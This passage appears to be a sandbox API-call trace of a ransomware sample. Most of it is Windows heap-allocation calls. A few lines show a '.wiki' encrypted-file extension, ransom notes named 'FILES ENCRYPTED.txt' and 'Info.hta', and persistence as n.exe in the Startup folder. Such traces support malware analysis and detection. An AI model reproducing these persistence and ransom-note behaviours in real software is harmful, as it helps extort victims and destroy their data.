0x669f58 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669f70 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x665490 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669f88 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x669fa0 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669fb8 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669fd0 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669fe8 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x66a000 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x66a018 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x66a030 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x66a048 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x66a060 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x66a078 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x66a090 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x66a0a8 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x66a0c0 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x66a0d8 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x66a0f0 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x66a108 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x66a120 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae590 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae5a8 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae5c0 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6ae990 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6ae9a0 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae5d8 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae5f0 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae608 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae620 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae638 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ae650 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae668 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae680 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae698 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae6b0 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ae6c8 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae6e0 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae6f8 [0146.958] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x669330, Size=0x400) returned 0x669330 [0146.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae710 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae728 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ae740 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae758 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae770 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae788 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ae7a0 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae7b8 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae7d0 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae7e8 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6ae9b0 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae800 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6ae818 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae830 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae848 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae860 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae878 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6ae890 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae8a8 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae8c0 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae8d8 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae8f0 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae908 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae920 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae938 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ae950 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6ae9c0 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aed90 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aeda8 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aedc0 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aedd8 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aedf0 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aee08 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aee20 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aee38 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aee50 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6aee68 [0146.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aee80 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6aee98 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aeeb0 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aeec8 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aeee0 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aeef8 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aef10 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6aef28 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aef40 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aef58 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aef70 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aef88 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aefa0 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aefb8 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aefd0 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6aefe8 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af000 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af018 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af030 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af048 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af060 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af078 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af090 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af0a8 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af0c0 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6af0d8 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x666098 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af0f0 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af108 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af120 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af138 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af150 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af190 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af1a8 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af1c0 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af1d8 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af1f0 [0146.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af208 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af220 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af238 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af250 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af268 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af280 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af298 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af2b0 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af2c8 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af2e0 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6af2f8 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6af310 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6af328 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6af340 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6af358 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6ae9d0 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af370 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6ae9e0 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af388 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af3a0 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af3b8 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6af3d0 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6af3e8 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af400 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6af418 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af430 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af448 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6af460 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af478 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6af490 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6af4a8 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af4c0 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6ae9f0 [0146.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af4d8 [0146.962] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6af4f0 [0146.962] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x669330, Size=0x800) returned 0x68b578 [0146.962] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6448e8, Size=0x8) returned 0x6448e8 [0146.962] lstrlenW (lpString=".wiki") returned 5 [0146.962] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afab0 | out: hHeap=0x630000) returned 1 [0146.962] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afae0, Size=0x20) returned 0x644508 [0146.962] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x644508, Size=0x40) returned 0x666c18 [0146.962] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666c18, Size=0x80) returned 0x6ab588 [0146.962] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aea60, Size=0x8) returned 0x6aea70 [0146.962] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aea70, Size=0x10) returned 0x6afae0 [0146.962] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afae0, Size=0x20) returned 0x6444e0 [0146.962] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afb10, Size=0x20) returned 0x665a78 [0146.962] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665a78, Size=0x40) returned 0x666c18 [0146.962] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0146.962] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afb10, Size=0x20) returned 0x665a78 [0146.962] lstrlenW (lpString="Info.hta") returned 8 [0146.962] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x68bd80, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe")) returned 0x42 [0146.962] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x68bd80 | out: hHeap=0x630000) returned 1 [0146.962] lstrlenW (lpString="n.exe") returned 5 [0146.962] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6444e0, Size=0x40) returned 0x666c18 [0146.962] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afb28, Size=0x20) returned 0x6444e0 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afb28, Size=0x20) returned 0x665a78 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665a78, Size=0x40) returned 0x666c60 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666c60, Size=0x80) returned 0x6ab588 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ab588, Size=0x100) returned 0x66a148 [0146.963] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.963] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66a148 | out: hHeap=0x630000) returned 1 [0146.963] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x68bd80, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0146.963] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afd78 | out: hHeap=0x630000) returned 1 [0146.963] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x68bd80 | out: hHeap=0x630000) returned 1 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aea70, Size=0x8) returned 0x6aea60 [0146.963] lstrlenW (lpString="%windir%;") returned 9 [0146.963] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6444e0 | out: hHeap=0x630000) returned 1 [0146.963] lstrlenW (lpString="C:\\Windows;") returned 11 [0146.963] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67b570 | out: hHeap=0x630000) returned 1 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afb40, Size=0x20) returned 0x6444e0 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6444e0, Size=0x40) returned 0x666c60 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666c60, Size=0x80) returned 0x6ab588 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ab588, Size=0x100) returned 0x66a148 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aeaa0, Size=0x8) returned 0x6aeab0 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aeab0, Size=0x10) returned 0x6afb88 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afb88, Size=0x20) returned 0x6444e0 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aea70, Size=0x8) returned 0x6aeab0 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aea80, Size=0x8) returned 0x6aea70 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aeaa0, Size=0x8) returned 0x6aeac0 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aeac0, Size=0x10) returned 0x6afc30 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afc30, Size=0x20) returned 0x665a78 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aeab0, Size=0x10) returned 0x6afc30 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aea70, Size=0x10) returned 0x6afc60 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aeab0, Size=0x8) returned 0x6aeaa0 [0146.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aead0, Size=0x8) returned 0x6aeae0 [0146.964] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afc30, Size=0x20) returned 0x665ac8 [0146.964] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afc60, Size=0x20) returned 0x6659d8 [0146.964] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aeaf0, Size=0x8) returned 0x6aeb00 [0146.964] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afcd8, Size=0x20) returned 0x665af0 [0146.964] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x67b570, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0146.964] lstrlenW (lpString="C:\\") returned 3 [0146.964] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.964] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67b570 | out: hHeap=0x630000) returned 1 [0146.964] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aeb30, Size=0x82) returned 0x66a2b0 [0146.964] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aeb50, Size=0x100) returned 0x66a340 [0146.964] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a448, Size=0x104) returned 0x6ada00 [0146.964] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ab698, Size=0x100) returned 0x6adb10 [0146.964] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a2b0, Size=0x104) returned 0x6adc18 [0146.964] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a340, Size=0x200) returned 0x6add28 [0146.965] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aeb40 | out: hHeap=0x630000) returned 1 [0146.965] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6add28 | out: hHeap=0x630000) returned 1 [0146.965] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ad5a0 | out: hHeap=0x630000) returned 1 [0146.965] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ab720 | out: hHeap=0x630000) returned 1 [0146.965] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afd38 | out: hHeap=0x630000) returned 1 [0146.966] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ab7a8 | out: hHeap=0x630000) returned 1 [0146.966] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ad588 | out: hHeap=0x630000) returned 1 [0146.966] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6adc18 | out: hHeap=0x630000) returned 1 [0146.966] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afd50 | out: hHeap=0x630000) returned 1 [0146.966] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ada00 | out: hHeap=0x630000) returned 1 [0146.966] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ad5b8 | out: hHeap=0x630000) returned 1 [0146.966] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ad970 | out: hHeap=0x630000) returned 1 [0146.966] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ad5d0 | out: hHeap=0x630000) returned 1 [0146.966] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afd50, Size=0x20) returned 0x665b18 [0146.966] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665b18, Size=0x40) returned 0x666c60 [0146.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x66b550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0146.966] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10014) returned 0x6afd78 [0146.966] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6afd20 [0146.966] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afd20, Size=0x20) returned 0x665b18 [0146.966] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665b18, Size=0x40) returned 0x666ca8 [0146.966] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666ca8, Size=0x80) returned 0x6ab588 [0146.966] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ab588, Size=0x100) returned 0x66a220 [0146.966] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a220, Size=0x200) returned 0x66a220 [0146.966] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a220, Size=0x400) returned 0x6ad970 [0146.967] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ad970, Size=0x800) returned 0x6ad970 [0146.967] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ad970, Size=0x1000) returned 0x6bfd98 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x68bd80 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6afd20 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6afcf0 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x6aeaf0 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6afd08 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x6aeb20 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6afcd8 [0146.967] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aeaf0, Size=0x8) returned 0x6aeb10 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6afd38 [0146.967] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6aeb10, Size=0x10) returned 0x6ad588 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad5a0 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad5b8 [0146.967] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ad588, Size=0x20) returned 0x665b18 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6ad588 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6aeb10 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6ad5d0 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6ad5e8 [0146.967] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665b18, Size=0x40) returned 0x666ca8 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x6ad600 [0146.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, 